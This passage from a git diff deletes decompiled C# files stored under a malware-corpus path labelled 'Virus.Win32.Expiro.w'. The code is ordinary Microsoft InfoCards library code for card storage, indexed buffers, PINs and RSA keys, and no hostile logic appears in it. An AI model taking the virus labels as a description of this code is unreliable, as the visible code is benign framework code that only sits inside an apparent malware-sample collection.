if (!Path.IsPathRooted(path)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFileName"))); - try - { - this.m_filename = path; - this.m_importFile = new FileStream(this.m_filename, FileMode.Open, FileAccess.Read, FileShare.Read); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - catch (NotSupportedException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - } - - protected override void OnProcess() => this.StartAndWaitForUIAgent(); - - protected override void OnMarshalOutArgs() - { - } - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_importFile == null) - return; - this.m_importFile.Dispose(); - this.m_importFile = (FileStream) null; - } - - protected override bool OnHandleException(Exception e, out int errorCode) - { - errorCode = 0; - bool flag = false; - if (e is UserCancelledException) - { - errorCode = (e as UserCancelledException).NativeHResult; - flag = true; - } - return flag; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportStoreException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportStoreException.cs deleted file mode 100644 index c0e2a1fb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportStoreException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportStoreException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ImportStoreException : InfoCardBaseException - { - private const int HRESULT = -1073413868; - - public ImportStoreException() - : base(-1073413868) - { - } - - public ImportStoreException(string message) - : base(-1073413868, message) - { - } - - public ImportStoreException(string message, Exception inner) - : base(-1073413868, message, inner) - { - } - - protected ImportStoreException(SerializationInfo si, StreamingContext sc) - : base(-1073413868, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IndexObject.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IndexObject.cs deleted file mode 100644 index 87563fcf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IndexObject.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IndexObject -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; - -namespace Microsoft.InfoCards -{ - internal class IndexObject - { - private object[] m_objects; - private byte[] m_compiledForm; - - public IndexObject(object[] objects) => this.m_objects = objects; - - public IndexObject(byte[] compiledForm) => this.m_compiledForm = compiledForm; - - public bool IsCompiled => null != this.m_compiledForm; - - public bool CanCompile => null != this.m_objects; - - public byte[] CompiledForm => this.m_compiledForm; - - public object[] ObjectList => this.m_objects; - - internal void Compile(SecondaryIndexDefinition indexDef) - { - if (!this.CanCompile) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCompiled"))); - byte[] destinationArray = new byte[60]; - int destinationIndex = 0; - for (int index = 0; index < this.m_objects.Length; ++index) - { - if (!indexDef.Canonicalizer.CanCanonicalize(this.m_objects[index])) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCanonicalized", (object) this.m_objects[index].GetType()))); - byte[] sourceArray = indexDef.Canonicalizer.Canonicalize(this.m_objects[index]); - if (sourceArray.Length + destinationIndex > destinationArray.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectBufferOverflow", (object) indexDef.Name))); - Array.Copy((Array) sourceArray, 0, (Array) destinationArray, destinationIndex, sourceArray.Length); - destinationIndex += sourceArray.Length; - } - this.m_compiledForm = destinationArray; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IndexedDataBuffer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IndexedDataBuffer.cs deleted file mode 100644 index 095036d3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IndexedDataBuffer.cs +++ /dev/null @@ -1,336 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IndexedDataBuffer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal class IndexedDataBuffer - { - private byte[] m_buffer; - private byte[] m_masterIndex; - private FreeIndexList m_freeList; - private int m_dataLength; - private bool m_isOpen; - private DataSource m_owner; - - public unsafe IndexedDataBuffer( - byte[] masterIndex, - byte[] buffer, - int dataLength, - DataSource owner) - { - if (masterIndex == null || masterIndex.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (masterIndex), SR.GetString("StoreIndexedDataBufferNullOrEmptyMasterIndexBuffer")); - if (buffer == null || buffer.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (buffer), SR.GetString("StoreIndexedDataBufferNullOrEmptyDataIndexBuffer")); - if (dataLength < 0 || dataLength > buffer.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataLength), (object) dataLength, SR.GetString("StoreIndexDataBufferDataLengthOutOfRange"))); - this.m_owner = owner; - this.m_masterIndex = masterIndex; - this.m_buffer = buffer; - this.m_dataLength = dataLength; - this.m_freeList = new FreeIndexList(20); - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - for (int index = 1; index < this.m_masterIndex.Length / 4; ++index) - { - if (((int*) numPtr)[index] <= 0) - this.m_freeList.Put(index); - } - } - this.m_isOpen = true; - } - - public byte[] Index - { - get - { - this.ThrowIfNotOpen(); - return this.m_masterIndex; - } - } - - public byte[] Data - { - get - { - this.ThrowIfNotOpen(); - return this.m_buffer; - } - } - - public int DataLength - { - get - { - this.ThrowIfNotOpen(); - return this.m_dataLength; - } - } - - public void Close() - { - this.ThrowIfNotOpen(); - this.Clear(); - this.m_buffer = (byte[]) null; - this.m_masterIndex = (byte[]) null; - this.m_isOpen = false; - } - - public unsafe DataRow CreateDataRow(int id) - { - this.ThrowIfNotOpen(); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - fixed (byte* pHeader = &this.m_buffer[this.GetOffset(ref id)]) - return DataRow.Create((EncryptedObjectHeader*) pHeader, this.m_owner); - } - - public unsafe void CopyIVFromObject(int id, byte[] iv, int index) - { - this.ThrowIfNotOpen(); - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (index < 0 || index > this.DataLength - iv.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (index), (object) index, SR.GetString("StoreIndexDataBufferIndexOutOfRange"))); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = this.GetOffset(ref id); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - fixed (byte* numPtr = &this.m_buffer[offset]) - Marshal.Copy(new IntPtr((void*) &((EncryptedObjectHeader*) numPtr)->IV), iv, 0, iv.Length); - } - - public Stream GetStreamForObjectData(int id) - { - this.ThrowIfNotOpen(); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = this.GetOffset(ref id); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - int objectDataSize = this.GetObjectDataSize(offset); - InfoCardTrace.Assert(objectDataSize <= this.m_buffer.Length - offset, "The length the stored object is invalid"); - return (Stream) new MemoryStream(this.m_buffer, offset + sizeof (EncryptedObjectHeader), objectDataSize, false, false); - } - - public void RemoveObject(int id) - { - this.ThrowIfNotOpen(); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = this.GetOffset(ref id); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - this.RemoveFromMasterIndex(id); - this.EnsureSpaceForData(offset, 0); - } - - public unsafe int WriteObject( - int id, - byte[] iv, - byte[] data, - int objectType, - long lastChange, - GlobalId globalId) - { - this.ThrowIfNotOpen(); - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (data == null || data.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (id > this.m_masterIndex.Length / 4) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = id <= 0 || !this.m_freeList.Contains(id) ? this.GetOffset(ref id) : throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - this.EnsureSpaceForData(offset, data.Length); - fixed (byte* numPtr1 = &this.m_buffer[offset]) - { - byte* numPtr2 = (byte*) ((EncryptedObjectHeader*) numPtr1 + 1); - ((EncryptedObjectHeader*) numPtr1)->LastChange = lastChange; - ((EncryptedObjectHeader*) numPtr1)->DataSize = data.Length; - ((EncryptedObjectHeader*) numPtr1)->ObjectType = objectType; - ((EncryptedObjectHeader*) numPtr1)->LocalId = id; - ((EncryptedObjectHeader*) numPtr1)->GlobalId = globalId; - InfoCardTrace.Assert(iv.Length <= 32, "IV Length is invalid"); - Marshal.Copy(iv, 0, new IntPtr((void*) &((EncryptedObjectHeader*) numPtr1)->IV), iv.Length); - Marshal.Copy(data, 0, new IntPtr((void*) numPtr2), data.Length); - } - return id; - } - - private unsafe int GetObjectDataSize(int offset) - { - fixed (byte* numPtr = &this.m_buffer[offset]) - return ((EncryptedObjectHeader*) numPtr)->DataSize; - } - - private void Clear() - { - Array.Clear((Array) this.m_buffer, 0, this.m_dataLength); - Array.Clear((Array) this.m_masterIndex, 0, this.m_masterIndex.Length); - this.m_dataLength = 0; - } - - private unsafe int EnsureSpaceForData(int offset, int dataSize) - { - InfoCardTrace.Assert((uint) offset <= (uint) this.m_dataLength, "offset specified is outside the range of the data buffer"); - InfoCardTrace.Assert(dataSize >= 0, "The requested data size must be greater than or equal to 0"); - int num1 = 0; - if (dataSize != 0) - num1 = dataSize + sizeof (EncryptedObjectHeader); - if (num1 % 8 != 0) - num1 += 8 - num1 % 8; - int num2; - if (offset == this.m_dataLength) - { - num2 = 0; - } - else - { - fixed (byte* numPtr = &this.m_buffer[offset]) - { - num2 = ((EncryptedObjectHeader*) numPtr)->DataSize + sizeof (EncryptedObjectHeader); - if (num2 % 8 != 0) - num2 += 8 - num2 % 8; - } - } - InfoCardTrace.Assert(num2 <= this.m_dataLength, "currentSize can not be more "); - if (num2 == num1) - return num1; - int num3 = offset + num2; - int diff = num1 - num2; - int num4 = num3 + diff; - if (diff > 0 && this.m_dataLength + diff >= this.m_buffer.Length) - this.GrowBuffer(this.m_dataLength + diff); - InfoCardTrace.Assert((uint) num3 <= (uint) this.m_buffer.Length && num3 >= offset, "NextIndex value is corrupt when attempting to ensure space for object"); - InfoCardTrace.Assert((uint) num4 <= (uint) this.m_buffer.Length, "NextNewIndex value is corrupt when attempting to ensure space for object"); - if (this.m_dataLength != num3) - { - InfoCardTrace.Assert(this.m_dataLength - num3 > 0, "NextIndex data is corrupt when attempting to ensure space for object in middle of content."); - Array.Copy((Array) this.m_buffer, num3, (Array) this.m_buffer, num4, this.m_dataLength - num3); - this.m_dataLength += diff; - InfoCardTrace.Assert(this.m_dataLength >= 0, "DataLength has been corrupted."); - if (diff < 0) - { - InfoCardTrace.Assert(this.m_dataLength <= this.m_buffer.Length, "DataLength is larger than allocated buffer."); - Array.Clear((Array) this.m_buffer, this.m_dataLength, Math.Abs(diff)); - } - this.UpdateMasterIndex(Math.Min(num3, num4), diff); - } - else - this.m_dataLength += diff; - InfoCardTrace.Assert(this.m_dataLength <= this.m_buffer.Length, "DataLength is larger than allocated buffer."); - return num1; - } - - private void GrowMasterIndex() - { - int num1 = this.m_masterIndex.Length / 4; - int increaseByPercent = Utility.CalculateIncreaseByPercent(this.m_masterIndex.Length, 4, 5); - InfoCardTrace.Assert(increaseByPercent > this.m_masterIndex.Length, "NewSize must be greater than old size to grow master index buffer"); - byte[] destinationArray = new byte[increaseByPercent]; - Array.Copy((Array) this.m_masterIndex, 0, (Array) destinationArray, 0, this.m_masterIndex.Length); - Array.Clear((Array) this.m_masterIndex, 0, this.m_masterIndex.Length); - this.m_masterIndex = destinationArray; - int num2 = this.m_masterIndex.Length / 4; - for (int index = num1 + 1; index < num2; ++index) - this.m_freeList.Put(index); - } - - private void GrowBuffer(int spaceRequired) - { - InfoCardTrace.Assert(spaceRequired >= this.m_buffer.Length, "RequireSpace must be greater than old size to grow data buffer"); - int num = spaceRequired; - int length = num + num / 20; - InfoCardTrace.Assert(length >= spaceRequired, "NewLength must be greater than required space to grow data buffer"); - byte[] destinationArray = new byte[length]; - Array.Copy((Array) this.m_buffer, 0, (Array) destinationArray, 0, this.m_buffer.Length); - Array.Clear((Array) this.m_buffer, 0, this.m_buffer.Length); - this.m_buffer = destinationArray; - InfoCardTrace.Assert(this.m_dataLength <= this.m_buffer.Length, "DataLength Corrupt or buffer growth failed."); - } - - private unsafe int GetOffset(ref int id) - { - if (id <= 0) - { - if (this.m_dataLength <= 0) - this.m_dataLength = 8; - int dataLength = this.m_dataLength; - id = this.GetNextLocalId(dataLength); - return dataLength; - } - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - InfoCardTrace.Assert(((int*) numPtr)[id] >= 0, "Master Index offset value is invalid"); - return ((int*) numPtr)[id]; - } - } - - private unsafe void RemoveFromMasterIndex(int id) - { - InfoCardTrace.Assert(id > 0, "LocalId is invalid"); - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - *(int*) (numPtr + ((IntPtr) id * 4).ToInt64()) = 0; - this.m_freeList.Put(id); - } - } - - private unsafe void UpdateMasterIndex(int offset, int diff) - { - InfoCardTrace.Assert(offset > 0, "Offset is invalid"); - InfoCardTrace.Assert(diff != 0, "Difference is invalid"); - int num = this.m_masterIndex.Length / 4; - fixed (byte* numPtr1 = &this.m_masterIndex[0]) - { - for (int index = 1; index < num; ++index) - { - InfoCardTrace.Assert((int*) numPtr1 + index - (int*) numPtr1 <= (long) this.m_masterIndex.Length, "Pointer has walked past the end of the allocated buffer."); - if (((int*) numPtr1)[index] > 0 && ((int*) numPtr1)[index] >= offset) - { - int* numPtr2 = (int*) numPtr1 + index; - *numPtr2 = *numPtr2 + diff; - } - } - } - } - - private unsafe int GetNextLocalId(int offset) - { - InfoCardTrace.Assert(offset >= 0, "The offset can not be negative."); - int next = this.m_freeList.GetNext(); - if (next > 0) - { - InfoCardTrace.Assert(null != this.m_masterIndex, "m_masterIndex must not be null by now"); - InfoCardTrace.Assert(this.m_masterIndex.Length > 0, "m_masterIndex must not be empty."); - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - *(int*) (numPtr + ((IntPtr) next * 4).ToInt64()) = offset; - return next; - } - } - else - { - int nextLocalId = this.m_masterIndex.Length / 4; - this.GrowMasterIndex(); - InfoCardTrace.Assert(this.m_masterIndex.Length / 4 > nextLocalId && nextLocalId > 0, "Calculated count is corrupt or invalid."); - fixed (byte* numPtr = &this.m_masterIndex[0]) - *(int*) (numPtr + ((IntPtr) nextLocalId * 4).ToInt64()) = offset; - return nextLocalId; - } - } - - public void ThrowIfNotOpen() - { - if (!this.m_isOpen) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (IndexedDataBuffer))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCard.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCard.cs deleted file mode 100644 index 530ac64e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCard.cs +++ /dev/null @@ -1,1387 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCard -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Security.Cryptography; -using System.ServiceModel; -using System.Text; -using System.Threading; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InfoCard : IXmlSerializable - { - private const int InvalidRow = 0; - private const byte Marker = 29; - private const byte Version = 1; - public const int KeySize = 2048; - public const int MasterKeySize = 32; - public const int SaltSize = 16; - private InfoCardClaimCollection m_claims; - private DateTime m_expiresOn = DateTime.MaxValue; - private uint m_epoch; - private Uri m_id; - private DateTime m_issuedOn = DateTime.MinValue; - private bool m_isImported; - private DateTime m_installedOn = DateTime.Now; - private string m_issuerName = string.Empty; - private string m_language = string.Empty; - private LedgerEntryCollection m_ledger; - private byte[] m_logo; - private string m_mimeType = string.Empty; - private string m_name = string.Empty; - private DateTime m_lastUpdate = DateTime.MinValue; - private int m_rowId; - private StoreConnection m_storeConnection; - private int m_backgroundColor; - private string[] m_tokenTypes; - private RequireAppliesToStatus m_requireAppliesTo; - private byte[] m_pinHash; - private bool m_isSelfIssued; - private byte[] m_salt; - private InfoCardMasterKey m_masterKey; - private string m_privacyPolicyLink = string.Empty; - private byte[] m_issuerIdentifierAsBytes; - private Uri m_issuer; - private uint m_privacyPolicyVersion; - private string m_pin = string.Empty; - private string m_oldPin = string.Empty; - private InfoCard.PinAction m_pinAction; - private InfocardExtendedInformationCollection m_extendedInformation; - private bool m_readIssuerInformation; - private RPIdentityRequirement m_rpStrongIdentityRequired; - private List m_creationParameters; - - public InfoCard() => this.m_lastUpdate = DateTime.UtcNow; - - public InfoCard(Uri id) => this.m_id = id; - - public InfoCard(Stream stream) => this.Deserialize(stream); - - public string[] TokenTypes - { - set => this.m_tokenTypes = value; - } - - public List CreationParameters - { - get - { - if (this.m_creationParameters == null) - this.m_creationParameters = new List(); - return this.m_creationParameters; - } - } - - public InfoCardClaimCollection GetClaims() - { - if (this.m_claims == null) - { - if ((Uri) null == this.m_id) - InfoCardTrace.Assert((Uri) null != this.m_id, "m_id"); - this.m_claims = new InfoCardClaimCollection(this.m_id); - if (this.m_storeConnection != null) - this.m_claims.Get(this.m_storeConnection); - } - return this.m_claims; - } - - public static IssuerInformation GetIssuerInformation(string xml) - { - IssuerInformation issuerInformation = new IssuerInformation(); - if (!string.IsNullOrEmpty(xml)) - { - try - { - issuerInformation.ReadIssuerInformation(InfoCardSchemas.CreateReader(xml)); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceUnableToDeserializeInfoCardStream"), ex)); - throw; - } - } - return issuerInformation; - } - - public InfocardExtendedInformationCollection GetExtendedInformation() - { - if (this.m_extendedInformation == null) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "m_id"); - this.m_extendedInformation = new InfocardExtendedInformationCollection(this.m_id); - if (this.m_storeConnection != null) - this.m_extendedInformation.Get(this.m_storeConnection); - } - return this.m_extendedInformation; - } - - public RPIdentityRequirement GetRPIdentityRequirement() - { - if (this.m_rpStrongIdentityRequired == null) - { - this.m_rpStrongIdentityRequired = new RPIdentityRequirement(this.m_id, false); - if (this.m_storeConnection != null) - this.m_rpStrongIdentityRequired.Get(this.m_storeConnection); - } - return this.m_rpStrongIdentityRequired; - } - - public void AddClaim(InfoCardClaim claim) - { - InfoCardTrace.Assert(null != claim, "null claim"); - this.GetClaims().Add(claim); - } - - public void AddLedgerEntry(LedgerEntry entry) - { - InfoCardTrace.Assert(null != entry, "null ledger entry"); - this.GetLedger().Add(entry); - } - - public DateTime ExpiresOn - { - get => this.m_expiresOn; - set => this.m_expiresOn = value; - } - - public uint Epoch - { - get => this.m_epoch; - set => this.m_epoch = value; - } - - public Uri Id - { - get => this.m_id; - set => this.m_id = value; - } - - public DateTime IssuedOn - { - get => this.m_issuedOn; - set => this.m_issuedOn = value; - } - - public string IssuerName - { - get => this.m_issuerName; - set => this.m_issuerName = value; - } - - public byte[] IssuerIdentifierAsBytes - { - get => this.m_issuerIdentifierAsBytes; - set => this.m_issuerIdentifierAsBytes = value; - } - - public Uri Issuer - { - set => this.m_issuer = value; - } - - public string Language - { - get => this.m_language; - set => this.m_language = value; - } - - public RequireAppliesToStatus RequireAppliesto - { - get => this.m_requireAppliesTo; - set => this.m_requireAppliesTo = value; - } - - public bool IsSelfIssued - { - get => this.m_isSelfIssued; - set => this.m_isSelfIssued = value; - } - - public string PrivacyPolicyLink - { - get => this.m_privacyPolicyLink; - set => this.m_privacyPolicyLink = value; - } - - public uint PrivacyPolicyVersion => this.m_privacyPolicyVersion; - - public LedgerEntryCollection GetLedger() - { - if (this.m_ledger == null) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "m_id is null"); - this.m_ledger = new LedgerEntryCollection(this.m_id); - if (this.m_storeConnection != null) - this.m_ledger.Get(this.m_storeConnection); - } - return this.m_ledger; - } - - public StoreConnection Connection - { - set => this.m_storeConnection = value; - } - - public LedgerEntry TryGetLedgerEntry( - StoreConnection connection, - string recipientIdentifier) - { - LedgerEntry ledgerEntry = (LedgerEntry) null; - InfoCardTrace.Assert(null != connection, "The store connection cannot be null."); - InfoCardTrace.Assert(!string.IsNullOrEmpty(recipientIdentifier), "A recipient identifier must be specified."); - if (this.m_ledger != null && this.m_ledger.ContainsKey(recipientIdentifier)) - ledgerEntry = this.m_ledger[recipientIdentifier]; - if (ledgerEntry == null) - { - DataRow singleRow = connection.GetSingleRow(new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_id.ToString()) - }), new QueryParameter("ix_name", new object[1] - { - (object) recipientIdentifier - })); - if (singleRow != null) - ledgerEntry = new LedgerEntry((Stream) new MemoryStream(singleRow.GetDataField()), connection); - } - return ledgerEntry; - } - - public LedgerEntry CreateLedgerEntry( - Recipient recipient, - string immediateTokenRecipientOrganizationIdentifier) - { - InfoCardTrace.Assert(null != recipient, "A recipient must be specified."); - if (this.m_ledger == null) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "The card identifier must be defined."); - this.m_ledger = new LedgerEntryCollection(this.Id); - } - LedgerEntry entry = LedgerEntry.NewLedgerEntry(this.Id, recipient, this.Key, immediateTokenRecipientOrganizationIdentifier); - this.m_ledger.Add(entry); - return entry; - } - - public void CheckAndUpdateLedgerEntry(LedgerEntry entry, string immediateTokenRecipientOrgId) - { - if (!entry.CheckAndUpdateSubjectKey(immediateTokenRecipientOrgId, this.Key)) - return; - if (this.m_ledger == null) - { - InfoCardTrace.Assert((Uri) null != this.Id, "The card identifier must be defined."); - this.m_ledger = new LedgerEntryCollection(this.Id); - } - if (this.m_ledger.ContainsKey(entry.Recipient.RecipientId)) - this.m_ledger[entry.Recipient.RecipientId] = entry; - else - this.m_ledger.Add(entry); - } - - public byte[] Logo - { - get => this.m_logo; - set => this.m_logo = value; - } - - public string LogoMimeType - { - get => this.m_mimeType; - set => this.m_mimeType = value; - } - - public string Name - { - get => this.m_name; - set => this.m_name = value; - } - - public DateTime LastUpdate - { - get => this.m_lastUpdate; - set => this.m_lastUpdate = value; - } - - public int BackgroundColor - { - get => this.m_backgroundColor; - set => this.m_backgroundColor = value; - } - - public byte[] HashSalt - { - set => this.m_salt = value; - get => this.m_salt; - } - - public string[] SupportedClaimTypes - { - get - { - List stringList = new List(); - foreach (string key in this.GetClaims().Keys) - { - if (!this.IsSelfIssued || !string.IsNullOrEmpty(this.GetClaims()[key].Value)) - stringList.Add(key); - } - return stringList.ToArray(); - } - } - - public bool IsImported - { - set => this.m_isImported = value; - } - - public DateTime InstalledOn - { - set => this.m_installedOn = value; - } - - public bool IsPinProtected => this.m_pinHash != null && this.m_pinHash.Length > 0; - - public string Pin => this.m_pin; - - public InfoCardMasterKey GetMasterKey(StoreConnection connection) - { - InfoCardTrace.Assert(null != connection, "Store connection should not be null"); - this.m_masterKey = new InfoCardMasterKey(this.m_id); - this.m_masterKey.Get(connection); - return this.m_masterKey; - } - - public void Decrypt() - { - InfoCardTrace.Assert(null != this.m_masterKey, "The GetMasterKey must be called before using this method."); - PinProtectionHelper pinHelper = this.m_masterKey.GetPinHelper(this.m_pin); - this.m_masterKey.Decrypt(pinHelper); - this.GetClaims().Decrypt(pinHelper); - } - - public byte[] Key => this.m_masterKey != null ? this.m_masterKey.Key : (byte[]) null; - - public void ClearSensitiveData() - { - if (this.m_masterKey == null) - return; - Array.Clear((Array) this.m_masterKey.Key, 0, this.m_masterKey.Key.Length); - } - - public static byte[] GenerateSalt() - { - byte[] data = new byte[16]; - new RNGCryptoServiceProvider().GetBytes(data); - return data; - } - - public void ThrowIfNotComplete() - { - if (!this.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public bool IsComplete() - { - bool flag = !string.IsNullOrEmpty(this.m_language) && (Uri) null != this.m_id && (Uri) null != this.m_issuer && !Utility.ArrayIsNullOrEmpty((Array) this.m_tokenTypes) && this.m_privacyPolicyLink != null && !Utility.ArrayIsNullOrEmpty((Array) this.m_salt) && this.m_epoch > 0U && DateTime.MinValue != this.m_issuedOn && DateTime.MinValue != this.m_expiresOn && DateTime.MinValue != this.m_lastUpdate; - if (!this.IsSelfIssued) - flag = flag && this.CreationParameters.Count > 0 && null != this.m_issuerIdentifierAsBytes; - return flag; - } - - private RSACryptoServiceProvider GetPrivateKeyPairRsaProvider( - string recipientIdentifier) - { - LedgerEntry ledgerEntry = this.TryGetLedgerEntry(this.m_storeConnection, recipientIdentifier); - InfoCardTrace.Assert(null != ledgerEntry, "null ledger"); - RSACryptoServiceProvider keyPairRsaProvider = new RSACryptoServiceProvider(2048); - keyPairRsaProvider.ImportCspBlob(ledgerEntry.SubjectKey); - return keyPairRsaProvider; - } - - public RSACryptoServiceProvider GetPrivateCryptography( - string recipientIdentifier) - { - return this.GetPrivateKeyPairRsaProvider(recipientIdentifier); - } - - public RSACryptoServiceProvider GetPublicCryptography( - string recipientIdentifier) - { - RSACryptoServiceProvider keyPairRsaProvider = 